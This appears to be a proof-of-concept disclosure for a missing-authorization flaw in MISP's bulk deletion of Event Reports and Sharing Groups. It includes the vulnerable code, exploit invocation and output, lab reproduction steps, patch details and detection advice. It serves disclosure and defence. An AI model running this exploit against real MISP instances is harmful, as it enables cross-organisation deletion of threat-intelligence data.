Share
## https://sploitus.com/exploit?id=4F2F4CC9-70F7-5CB5-A17E-CB6B018C4885
# CVE-2026-56423 β€” MISP `deleteSelection` Broken Access Control

Proof of concept for a missing-authorization flaw in MISP's bulk deletion flows
for **Event Reports** and **Sharing Groups**. The `deleteSelection` handlers
authorize each selected item with a callback that ignores the item and returns
the caller's **global role permission** (`perm_add` / `perm_sharing_group`)
instead of a per-object ownership check. A low-privileged **contributor** (the
default "User" role) can therefore submit report IDs/UUIDs belonging to **any
organisation** and hard-delete them instance-wide, even though the correctly
guarded per-object `delete` action denies the very same request.

| | |
|---|---|
| **CVE** | CVE-2026-56423 |
| **Product** | MISP (Malware Information Sharing Platform) core |
| **Affected** | MISP CE/EE ≀ 2.5.41 |
| **Fixed** | 2.5.42 |
| **Class** | CWE-862 β€” Missing Authorization (broken object-level access control) |
| **CVSS 3.1** | 8.8 (`AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H`) |
| **Auth** | Authenticated, low privilege (any role with `perm_add`, e.g. "User") |
| **Published** | 2026-06-22 |
| **Status** | **CONFIRMED** β€” contributor deletes another org's report on 2.5.40; denied on 2.5.42 |

## Root cause

`app/Controller/EventReportsController.php` (tag v2.5.40):

```php
public function deleteSelection($id = null)
{
    return $this->CRUD->deleteSelection($id, [
        'modelName' => 'EventReport',
        ...
        'checkModifyCallback' => function($itemId) {
            return $this->userRole['perm_add'];   // ignores $itemId β†’ global role bool
        },
    ]);
}
```

`CRUDComponent::deleteSelection` calls this `checkModifyCallback` for every
selected id and deletes the object whenever it returns true:

```php
$canModify = call_user_func($options['checkModifyCallback'], $itemId, $item);
if (!$canModify) { $fails[] = $cid; continue; }
if ($Model->delete($itemId)) { $successes[] = $cid; }
```

Because the callback returns `$this->userRole['perm_add']` β€” a global boolean
that is **true for the default "User" role** β€” the ownership of the target
report is never checked. Contrast with the single-object `delete($id)` action,
which correctly calls
`EventReport::fetchIfAuthorized($this->Auth->user(), $id, 'delete')` and denies
foreign reports.

`SharingGroupsController::deleteSelection` has the same defect using
`perm_sharing_group`.

The fix in 2.5.42 (commits `ada02fa`, `f99b3f1`) replaces the callback with a
per-item `EventReport::fetchIfAuthorized($user, $itemId, 'delete')`.

See [`ANALYSIS.md`](ANALYSIS.md) for the full walkthrough.

## Preconditions (documented honestly)

1. The attacker holds any account whose role has `perm_add` β€” the built-in
   **User** role, granted to ordinary contributors on multi-org instances.
2. `MISP.enable_themes = true`. The `deleteSelection` action is gated in the ACL
   by `AND(theming_enabled, perm_add)`, where `theming_enabled` maps to the
   `MISP.enable_themes` setting. This setting is **off by default** but is a
   normal UI feature flag enabled on many instances (it powers the v2 index/list
   UI). With it disabled the action returns HTTP 403 before the buggy callback
   runs.

## Exploit

```
python3 exploit.py https://127.0.0.1:443 \
    --attacker-key  \
    --admin-key    \
    --report-id   
```

```
[1] contributor legit delete/2   -> HTTP 404  (DENIED (expected))
[2] contributor deleteSelection [2] -> HTTP 200  {"saved":true,"success":true,"name":"EventReport deleted."...}
[+] CONFIRMED: contributor hard-deleted another org's Event Report via deleteSelection
```

## Reproduce

```bash
cd lab
./setup.sh          # MISP core v2.5.40 + attacker org + contributor + victim report
source /tmp/misp_poc.env
python3 ../exploit.py https://127.0.0.1:443 \
    --attacker-key "$CONTRIB_KEY" --admin-key "$ADMIN_KEY" --report-id "$VICTIM_REPORT_ID"

# patched build denies the same request:
CORE_RUNNING_TAG=v2.5.42 ./setup.sh
./teardown.sh
```

## VULN/PATCHED boundary (empirical)

| Request (low-priv contributor, foreign report) | v2.5.40 | v2.5.42 |
|---|---|---|
| correctly-guarded `delete/{id}` | 404 denied | 404 denied |
| **`deleteSelection` of the same report** | **200 β€” hard-deleted** | **403 β€” "Could not delete"; report intact** |

The same request flips from success to denial across the fix, and the correctly
guarded per-object delete is denied in both β€” proving the bug is the missing
per-object authorization in `deleteSelection`, not a misconfigured account.
Full transcript in [`EVIDENCE.txt`](EVIDENCE.txt).

## Impact

Any low-privileged user on a shared MISP instance can irreversibly hard-delete
Event Reports β€” analyst narrative attached to threat-intel events β€” and Sharing
Groups belonging to **other organisations**, instance-wide. This is a
cross-tenant integrity/availability compromise of a threat-intelligence platform
that CERTs, ISACs and SOCs rely on.

## Remediation

- Upgrade MISP to **2.5.42** or later.
- The fix enforces `EventReport::fetchIfAuthorized($user, $itemId, 'delete')`
  per selected item; the same pattern is applied to Sharing Groups.

## Detection

Audit MISP logs for `EventReports/deleteSelection` (and
`SharingGroups/deleteSelection`) requests where the acting user's organisation
differs from the owning organisation of the deleted object.

## Credits

Research and PoC by Caio FabrΓ­cio ([@BiiTts](https://github.com/BiiTts)).

## License

MIT β€” see [LICENSE](LICENSE).